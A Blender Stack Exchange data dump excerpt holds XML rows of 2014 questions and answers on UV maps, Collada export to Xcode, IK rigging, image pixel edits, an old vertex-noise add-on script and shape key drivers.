  <row Id="14602" PostTypeId="2" ParentId="14590" CreationDate="2014-08-01T02:11:23.653" Score="3" Body="&lt;p&gt;This isn't possible by definition, as UV maps are object data. By linking object data, you link the UV maps too.&lt;br&gt;&#xA;This makes sense, as UVs depend on vertex order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead you could use two UV maps, with different materials for each object.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Transfer UV maps&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;With one of your objects selected, create a new UV map by clicking the plus button and select it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aHOCg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select both objects so that the one with the other UV map is active, and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;&lt;em&gt;&gt; Transfer UV maps&lt;/em&gt;. This will copy the selected UV map from the active object into the selected UV map slot in the selected objects.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now that you have both UV maps on one object, link the other object to the one with both UV maps (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;&lt;em&gt;&gt; Link object data&lt;/em&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can either use separate materials linked to the &lt;em&gt;object&lt;/em&gt; instead of the &lt;em&gt;object data&lt;/em&gt;, or you could use on material which mixes based on the object index.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Separate materials&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the material link to &lt;em&gt;Object&lt;/em&gt; for each object. This will make the specified material be used on that object, regardless of what data is linked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3FAbQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a material with a UV map node to specify which UV map to use, and specify it as the material for one object.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Specify it for the other object and press the little number to make a copy of it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1yUqm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change the selected UV map in the UV map node. You should now have linked objects with separate materials, which use separate UV maps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o5NVr.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/30756&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Example .blend&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-08-01T02:11:23.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14604" PostTypeId="2" ParentId="14584" CreationDate="2014-08-01T04:43:05.880" Score="12" Body="&lt;p&gt;Until I can get a tutorial made I will give a couple pointers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solve Blender &quot;z&quot; up axis&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a folder on your desktop and give it an extension of &quot;.scnassets&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Put your collada(.dae) file along with any textures you will be using&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Drag the folder into your project and save as copy like usual. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on your scnassets folder and you will see a checked box (if not check it) for converting to a &quot;y&quot; up axis. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Using textures with Blender collada&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on your collada(.dae) file inside your project in xcode. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You should see your scene and on its left side a list of cameras, lights, materials, and such. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open the materials tab and click on one of your materials. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On the right hand side in the inspection window click on the ball shaped icon to view the diffuse, specularity, and such of that one material. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on the diffuse tab and when it opens you should have an option of colors and your textures within your project.  Select the texture you used on your model within Blender.  As long as you UV unwrapped them properly in blender they should apply instantly within your scene view.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt;&lt;br&gt;&#xA;Blender will not export the texture for you. No need to check on that tab inside of the collada exporter window. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ANOTHER NOTE&lt;/strong&gt;&#xA;If you want to add to or delete something from your scnassets folder, navigate to your project folder to do so and not xcode. This took me a while to figure out so thought I would save everyone the trouble. &lt;/p&gt;&#xA;" OwnerUserId="5444" LastEditorUserId="5444" LastEditDate="2014-08-01T08:01:16.033" LastActivityDate="2014-08-01T08:01:16.033" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="14605" PostTypeId="2" ParentId="9287" CreationDate="2014-08-01T06:47:50.117" Score="2" Body="&lt;p&gt;There is a &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?282824-SVG-output-script&quot; rel=&quot;nofollow noreferrer&quot;&gt;addon&lt;/a&gt; which does this. It works on both meshes and curves, and has many options for coloring and shading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a setup which will output flat shaded faces with the diffuse color of your materials (click for larger image):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PALgc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PALgc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In cycles the viewport color is actually the diffuse color, which is used by the addon.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For flat shading be sure to turn off most of the effects and variations, as shown in the screenshot&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Once everything is set, click export to export the viewport as a SVG.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The result is shown in inkscape on the left.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-08-01T06:47:50.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14606" PostTypeId="1" CreationDate="2014-08-01T07:06:11.333" Score="0" ViewCount="670" Body="&lt;p&gt;Every time I try to move my foot bone it just moves totally out of place.&#xA;I don't get it. It seems like everything is done right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bones:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thigh Leg : Child of Body/Head Bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Low Leg : Child of Thigh Bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Foot : Child of Nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Toes : Child of Foot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Low Leg IK Constraint : Target = Foot. Pole Target = Knee IK&#xA;                        Pole Angle = -90 &amp;amp; Chain Length = 2.  Everything else default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Low Leg IK: X = Unlocked / Limited  /  0 - 180&#xA;            Y = Locked&#xA;            Z = Locked&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My foot mesh is parented to my foot bone as Bone and not Automatic weights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just don't understand what the heck is happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;feels like everything is done precisely. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yPGuR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hHkpy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5279" LastEditorUserId="29301" LastEditDate="2018-11-01T12:31:23.770" LastActivityDate="2018-11-01T12:31:23.770" Title="Why is my foot mesh moving out of place when rigging?" Tags="&lt;mesh&gt;&lt;rigging&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="12" ContentLicense="CC BY-SA 4.0" />
  <row Id="14607" PostTypeId="2" ParentId="10843" CreationDate="2014-08-01T07:27:14.833" Score="0" Body="&lt;p&gt;I noticed two issues with the wind forces, they are quite weak and they are facing the wrong direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The affected axis (under &lt;em&gt;Falloff&lt;/em&gt;, next to &lt;em&gt;Power&lt;/em&gt;) was set to -Z (in local coordinates), but the force fields have their positive Z arrows pointing towards the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Increase the strength and set the axis to +Z:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mwPpP.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-08-01T07:27:14.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14608" PostTypeId="1" CreationDate="2014-08-01T07:45:05.507" Score="0" ViewCount="248" Body="&lt;p&gt;I have an image with a few shades of grey in it. I need to change some of those shades into white. Is there anything more efficient than going through each pixel one by one and check its RGB values? Is it perhaps possible to somehow posterize the image with some built-in function?&lt;/p&gt;&#xA;" OwnerUserId="4928" LastActivityDate="2014-08-31T10:23:12.640" Title="Change image levels quickly" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14609" PostTypeId="2" ParentId="14569" CreationDate="2014-08-01T09:00:37.263" Score="1" Body="&lt;p&gt;So, I did some more research and I found out that the blender collada exporter isn't able to export multiple animations within one file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix my IK problem, I simply duplicated my armature several times. Than I used 1 armature/ animation to bake every animation. After that I was able to use my main armature connected to my mesh to select all the baked animations. That works pretty good, but nevertheless it's too bad collada doesnt support multiple animations. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now I am going with JSON.&lt;/p&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2014-08-01T09:00:37.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14610" PostTypeId="1" AcceptedAnswerId="14618" CreationDate="2014-08-01T09:03:36.357" Score="0" ViewCount="564" Body="&lt;p&gt;I am just trying to generate some random geometry to get a low poly environment. Therefore I wanted to use a script that randomizes the vertex position. I dropped the python file into ..scripts/addons/. But when i move to user preferences in blender and search for it, it won't show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does any of you know what I am doing wrong? I also tried to install the script via the user preferences panel itself, but the same happend, nothing!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!BPY&#xA;&#xA;&quot;&quot;&quot;Registration info for Blender menus Name: 'Vertex Noise' Blender: 2.43    Group: 'Mesh' Tip: 'add some random distortion to a selected mesh' &quot;&quot;&quot; &#xA;&#xA;__author__ = &quot;Sammler Rene&quot; __url__ = (&quot;http://www.blender.org&quot;, &quot;http://www.sammler-mediengestaltung.com&quot;) __version__ = &quot;v080305&quot;&#xA;&#xA;__bpydoc__ = &quot;&quot;&quot;\ ***** BEGIN GPL LICENSE BLOCK *****&#xA;&#xA;This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.&#xA;&#xA;This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.&#xA;&#xA;You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc, 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.&#xA;&#xA;***** END GPL LICENCE BLOCK ***** --------------------------------------------------------------------------&#xA;&#xA;This script allows to distort the selected vertex points along the specified directions. &quot;&quot;&quot;&#xA;&#xA;import Blender from Blender.Draw import * from Blender.BGL import * from Blender.Object import * from Blender.Mesh import * from Blender.Window import * from Blender.Types import * from Blender.Mathutils import * from random import *&#xA;&#xA;&#xA;def ExportConfig():     conf = {}&#xA;&#xA;conf[&quot;X&quot;] = tgl_x.val   conf[&quot;Y&quot;] = tgl_y.val   conf[&quot;Z&quot;] = tgl_z.val   conf[&quot;LOC&quot;] = tgl_local.val     conf[&quot;GLOB&quot;] = tgl_global.val   conf[&quot;NORM&quot;] = tgl_normal.val   conf[&quot;ZERO_1&quot;] = set_zero_1.val         conf[&quot;ZERO_2&quot;] = set_zero_2.val &#xA;&#xA;conf[&quot;MIN&quot;] = min.val   conf[&quot;MAX&quot;] = max.val   conf[&quot;R_SEED&quot;] = r_seed.val&#xA;&#xA;Blender.Registry.SetKey(&quot;VERTEXNOISE&quot;, conf, True)&#xA;&#xA;def ImportConfig():     global tgl_x, tgl_y, tgl_z, min, max, r_seed,set_zero_1,set_zero_2,tgl_global,tgl_local,tgl_normal&#xA;&#xA;conf = Blender.Registry.GetKey(&quot;VERTEXNOISE&quot;, True)&#xA;&#xA;if not conf:        return&#xA;&#xA;try:        tgl_x.val=conf[&quot;X&quot;]         tgl_y.val=conf[&quot;Y&quot;]         tgl_z.val=conf[&quot;Z&quot;]         tgl_local.val=conf[&quot;LOC&quot;]       tgl_global.val=conf[&quot;GLOB&quot;]         tgl_normal.val=conf[&quot;NORM&quot;]         set_zero_1.val=conf[&quot;ZERO_1&quot;]       set_zero_2.val=conf[&quot;ZERO_2&quot;]   &#xA;&#xA;    min.val=conf[&quot;MIN&quot;]         max.val=conf[&quot;MAX&quot;]         r_seed.val=conf[&quot;R_SEED&quot;]   except KeyError:        pass&#xA;&#xA;  def type_check(obj_list):     global failur   ret = 0     if len(obj_list) == 0:      failur = &quot;ERROR: Select a Meshobject!!&quot;         ret = 1     elif type(obj_list[0].getData()) != NMeshType:      failur = &quot;ERROR: Select a Meshobject!!&quot;         ret = 1     else: failur = &quot;&quot;   return ret&#xA;&#xA;def calc_verts_global(vertex, direction, value, trans_mat):     val = 0     if vertex.sel:      val = uniform(value[0], value[1])&#xA;&#xA;    vec = Vector(direction)*val&#xA;&#xA;    vec = vec * trans_mat&#xA;&#xA;    vertex.co[0] = vec[0] + vertex.co[0]        vertex.co[1] = vec[1] + vertex.co[1]        vertex.co[2] = vec[2] + vertex.co[2]&#xA;&#xA;def calc_verts_local(vertex, direction, value):     val = 0     if vertex.sel:      val = uniform(value[0], value[1])&#xA;&#xA;    vec = Vector(direction)*val&#xA;&#xA;    vertex.co[0] = vec[0] + vertex.co[0]        vertex.co[1] = vec[1] + vertex.co[1]        vertex.co[2] = vec[2] + vertex.co[2]        &#xA;&#xA;def calc_verts_normal(vertex, value):   val = 0     if vertex.sel:      val = uniform(value[0], value[1])&#xA;&#xA;    vec = vertex.no*val&#xA;&#xA;    vertex.co[0] = vec[0] + vertex.co[0]        vertex.co[1] = vec[1] + vertex.co[1]        vertex.co[2] = vec[2] + vertex.co[2]&#xA;&#xA;&#xA;def Event(evt, val):    if evt == QKEY:         ExportConfig()      Exit()      return&#xA;&#xA;def BEvent(evt):    global tgl_x, tgl_y, tgl_z, min, max, r_seed,set_zero_1,set_zero_2,tgl_global,tgl_local,tgl_normal&#xA;&#xA;if evt == 11:       if type_check(Blender.Object.GetSelected()) == 0:           edit_mode = EditMode()          if EditMode(): EditMode(0)          obj_lst = Blender.Object.GetSelected()          if len(obj_lst) &amp;gt; 0:                mesh = obj_lst[0].getData(False,True)               if r_seed.val &amp;gt; 0: seed(r_seed.val)&#xA;&#xA;            intervall = [min.val,max.val]               if set_zero_1.val: intervall[0] = 0.0               if set_zero_2.val: intervall[1] = 0.0&#xA;&#xA;            if tgl_global.val:                  zero_matrix = Matrix([1,0,0,0],[0,1,0,0],[0,0,1,0],[0,0,0,1])                   obj_matrix = Matrix(obj_lst[0].getMatrix())                     obj_matrix[3] = [0,0,0,1]                   transform_matrix = obj_matrix.invert() * zero_matrix                    [calc_verts_global(vertex, [tgl_x.val,tgl_y.val,tgl_z.val],intervall,transform_matrix) for vertex in mesh.verts]                elif tgl_local.val:                     [calc_verts_local(vertex, [tgl_x.val,tgl_y.val,tgl_z.val],intervall) for vertex in mesh.verts]                              else:                   [calc_verts_normal(vertex,intervall) for vertex in mesh.verts]              &#xA;&#xA;&#xA;        if edit_mode: EditMode(1)           elif evt == 10:         ExportConfig()      Exit()      return  elif evt == 12:         min.val = min.val * -1  elif evt == 13:         max.val = max.val * -1          elif evt == 14:         min.val = max.val   elif evt == 15:         max.val = min.val       elif evt == 6:      if tgl_global.val == 0:             tgl_global.val = 1      else:           tgl_local.val = 0           tgl_normal.val = 0  elif evt == 7:      if tgl_local.val == 0:          tgl_local.val = 1       else:           tgl_global.val = 0          tgl_normal.val = 0  elif evt == 8:      if tgl_normal.val == 0:             tgl_normal.val = 1      else:           tgl_global.val = 0          tgl_local.val = 0           tgl_x.val = 0               tgl_y.val = 0           tgl_z.val = 0   elif evt == 1:      if tgl_normal.val == 1:             tgl_x.val = 0   elif evt == 2:      if tgl_normal.val == 1:             tgl_y.val = 0   elif evt == 3:      if tgl_normal.val == 1:             tgl_z.val = 0       &#xA;&#xA;Blender.Redraw()&#xA;&#xA;def GUI():  global tgl_x, tgl_y, tgl_z, min, max, r_seed,set_zero_1,set_zero_2, tgl_global, tgl_local, tgl_normal, failur&#xA;&#xA;glColor3f(0.7, 0.7, 0.7)    glRecti(15, 50, 205, 255)       glColor3f(0.9, 0.9, 0.9)    glRecti(15, 30, 205, 50)    glColor3f(0.65, 0.65, 0.65)     glRecti(15, 255, 205, 275)  glColor3f(0.0,0.0,0.0)  glRasterPos2f(20,262)           Text(&quot;Vertex Noise&quot;)        &#xA;&#xA;tgl_global = Toggle(&quot;Global&quot;, 6, 20, 230, 60, 20, tgl_global.val, &quot;distort to global coordinates&quot;)  tgl_local = Toggle(&quot;Local&quot;, 7, 80, 230, 60, 20, tgl_local.val, &quot;distort to local coordinates&quot;)  tgl_normal = Toggle(&quot;Normal&quot;, 8, 140, 230, 60, 20, tgl_normal.val, &quot;distort to the vertex normals&quot;)&#xA;&#xA;min = Number(&quot;Min: &quot;, 0, 20, 205, 100, 20, min.val, -100.0, 100.0, &quot;the minimal distortion&quot;)&#xA;&#xA;neg_1 = Button(&quot;neg&quot;, 12, 20, 180, 60, 20, &quot;negate the min value&quot;)  cop_1 = Button(&quot;= max&quot;, 14, 80, 180, 60, 20, &quot;copy the max value to min&quot;)   set_zero_1 = Toggle(&quot;use 0&quot;, 4, 140, 180, 60, 20, set_zero_1.val, &quot;use 0 insted the inserted min value&quot;)&#xA;&#xA;max = Number(&quot;Max: &quot;, 0, 20, 155,100, 20, max.val, -100.0, 100.0, &quot;the maximal distortion&quot;)&#xA;&#xA;neg_2 = Button(&quot;neg&quot;, 13, 20, 130, 60, 20, &quot;negate the max value&quot;)  cop_2 = Button(&quot;= min&quot;, 15, 80, 130, 60, 20, &quot;copy the min value to max&quot;)   set_zero_2 = Toggle(&quot;use 0&quot;, 5, 140, 130, 60, 20, set_zero_2.val, &quot;use 0 insted the inserted max value&quot;)&#xA;&#xA;r_seed = Number(&quot;Seed: &quot;, 0, 20, 105,110, 20, r_seed.val, -100.0, 100.0, &quot;&quot;)&#xA;&#xA;tgl_x = Toggle(&quot;X&quot;, 1, 20, 80, 60, 20, tgl_x.val, &quot;distort to x direction&quot;)     tgl_y = Toggle(&quot;Y&quot;, 2, 80, 80, 60, 20, tgl_y.val, &quot;distort to y direction&quot;)     tgl_z = Toggle(&quot;Z&quot;, 3, 140, 80, 60, 20, tgl_z.val, &quot;distort to z direction&quot;)&#xA;&#xA;quit = Button(&quot;Quit&quot;, 10, 20, 55, 80, 20, &quot;&quot;)   ok = Button(&quot;OK&quot;, 11, 120, 55, 80, 20, &quot;&quot;)&#xA;&#xA;glColor3f(0.15, 0.15, 0.15)&#xA;&#xA;glRasterPos2f(150,210)  Text(str(min.val)[0:6])&#xA;&#xA;glRasterPos2f(150,160)  Text(str(max.val)[0:6])&#xA;&#xA;glRasterPos2f(150,110)  Text(str(r_seed.val)[0:6])  &#xA;&#xA;glRasterPos2f(105,20)       Text(&quot;created by Rene Sammler&quot;, &quot;tiny&quot;)     glRasterPos2f(75,12)        Text(&quot;(sammler-mediengestaltung.com)&quot;, &quot;tiny&quot;)  glRasterPos2f(150,4)        Text(&quot;(v 08 03 05)&quot;, &quot;tiny&quot;)    glColor3f(1, 0.0, 0.0)  glRasterPos2f(20,35)        Text(failur)    &#xA;&#xA;tgl_x = Create(0) tgl_y = Create(0) tgl_z = Create(0) tgl_local = Create(1) tgl_global = Create(0) tgl_normal = Create(0) set_zero_1 = Create(0) set_zero_2 = Create(0) failur = &quot;&quot;&#xA;&#xA;min = Create(0.0000) max = Create(0.0000) r_seed = Create(0.0000)&#xA;&#xA;ImportConfig() Register(GUI, Event, BEvent)    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Cheers&#xA;-Marten&lt;/p&gt;&#xA;" OwnerUserId="5376" LastEditorUserId="599" LastEditDate="2014-08-01T20:23:34.627" LastActivityDate="2014-08-01T20:23:34.627" Title="Blender Python Script doesn't show in Add ons List" Tags="&lt;python&gt;&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14611" PostTypeId="2" ParentId="14608" CreationDate="2014-08-01T10:06:51.010" Score="1" Body="&lt;p&gt;Blender is a bit limited as an image editor, you may find using an external image editor easier. One option is to use the compositor were masking nodes can be used to select a colour to use as a mask for other nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As your asking with the tag of python, you can access the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.types.Image.html#bpy.types.Image.pixels&quot; rel=&quot;nofollow&quot;&gt;raw image data&lt;/a&gt; through &lt;code&gt;bpy.data.images['img_name'].pixels[x]&lt;/code&gt;. This is a list of floats that makeup the pixel data, there are 4 per image pixel (red,green,blue,alpha). You can get the width and height through &lt;code&gt;bpy.data.images['img_name'].size&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for p in bpy.data.images['img_name'].pixels:&#xA;    if p &amp;lt; 0.45 and p &amp;gt; 0.48:&#xA;        p = 0.2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-08-01T10:06:51.010" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14612" PostTypeId="1" AcceptedAnswerId="14626" CreationDate="2014-08-01T10:32:16.887" Score="3" ViewCount="313" Body="&lt;p&gt;So I've done the atmosphere, but the Volume material has given it loads of dots. I assume this is the resolution of the Volume light but is there a way to get rid of them without bumping up the resolution to over 100,000?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kx5ka.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5424" LastEditorUserId="599" LastEditDate="2014-08-01T19:44:41.493" LastActivityDate="2014-11-05T22:53:54.057" Title="Dots show on Volume material" Tags="&lt;rendering&gt;&lt;materials&gt;&lt;blender-internal-render-engine&gt;&lt;volumetrics&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14613" PostTypeId="1" CreationDate="2014-08-01T10:45:19.983" Score="2" ViewCount="753" Body="&lt;p&gt;I'm trying to delete shape key drivers using Python, to clean up scenes. However, I cannot delete some drivers for previously deleted shapekeys:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;driver_data_path = bpy.context.object.data.shape_keys.animation_data.drivers[0].data_path&#xA;bpy.context.object.data.shape_keys.animation_data.driver_remove(driver_data_path)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;brings up this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;blender_console&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;TypeError: bpy_struct.driver_remove(): property &quot;key_blocks[&quot;Key 1&quot;].value&quot; not found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I understand is that the &lt;code&gt;data_path&lt;/code&gt; is an rna path, which is changed to &lt;code&gt;key_blocks[&quot;...&quot;].value&lt;/code&gt; when the shapekey is deleted. But then it cannot be found by &lt;code&gt;driver_remove()&lt;/code&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a bug, or is there another way to delete drivers?&lt;/p&gt;&#xA;" OwnerUserId="4979" LastActivityDate="2014-08-01T10:45:19.983" Title="Python: remove driver for deleted shapekey" Tags="&lt;python&gt;&lt;shape-keys&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14614" PostTypeId="2" ParentId="14587" CreationDate="2014-08-01T10:52:02.090" Score="0" Body="&lt;p&gt;You have added a property called &lt;code&gt;mhfc_uuid1&lt;/code&gt; to the Scene class and set the default value to the pre-calculated value of &lt;code&gt;p_uuid1&lt;/code&gt;. Every scene will then get this same value when it is created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to set the default to zero and then before using it check if it is zero and then set it to a generated value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyOperator(bpy.types.Operator):&#xA;&#xA;    def execute(self, context):&#xA;        if context.scene.mhfc_uuid1 == 0:&#xA;            context.scene.mhfc_uuid1 = generateuuid()&#xA;        do_interesting_stuff()&#xA;        return {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could setup existing scenes as your addon is enabled by adding something like this after you add the properties.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for sc in bpy.data.scenes:&#xA;    sc.mhfc_uuid1 = generateuuid()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-08-01T10:52:02.090" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14616" PostTypeId="1" CreationDate="2014-08-01T11:21:08.990" Score="-5" ViewCount="740" Body="&lt;p&gt;I'm dying here with UV Unwrapping. I saw many tutorials many books about unwrapping UVs.I aslo search many software for easily unwrapping. In maya- uv unwrapping is so difficult. I came to Blender. Here its seems easy to unwrap but Still failed. I'm really confused about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please give me some tips/suggestion about uv unwrapping (for any objects). Please Save me !  &lt;/p&gt;&#xA;" OwnerUserId="5278" LastActivityDate="2014-08-01T12:03:21.867" Title="UV Unwrapping Problem !" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2014-08-01T19:06:17.427" ContentLicense="CC BY-SA 3.0" />
  <row Id="14617" PostTypeId="2" ParentId="14616" CreationDate="2014-08-01T12:03:21.867" Score="1" Body="&lt;p&gt;You need to be more specific. UV-unwrapping is not something that you do in one single way and it's done. It could be done in many different ways and NO 2 objects are unwrapped the same way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It depends on the object shape, topology of the mesh, texture you want to apply, places that would be visible and places that wont...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In General, you would look at the shape of the object, if it is somewhat spherical you will go for a spherical unwrapping technique, if it is somewhat cylindrical, then you would go for a cylindrical. If it has flat parts, you would extract it with a planar projection. Now, those are just basics, they wont give you perfect results, you then need to tweak UV's manually, use transformations, cuts and patches, and you would have to do tweaking as with everything artistic. UV unwrapping is an art in it's own right, you cannot expect to learn it in a day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like everything, the more you do it, the better you will become.&lt;/p&gt;&#xA;" OwnerUserId="5341" LastActivityDate="2014-08-01T12:03:21.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
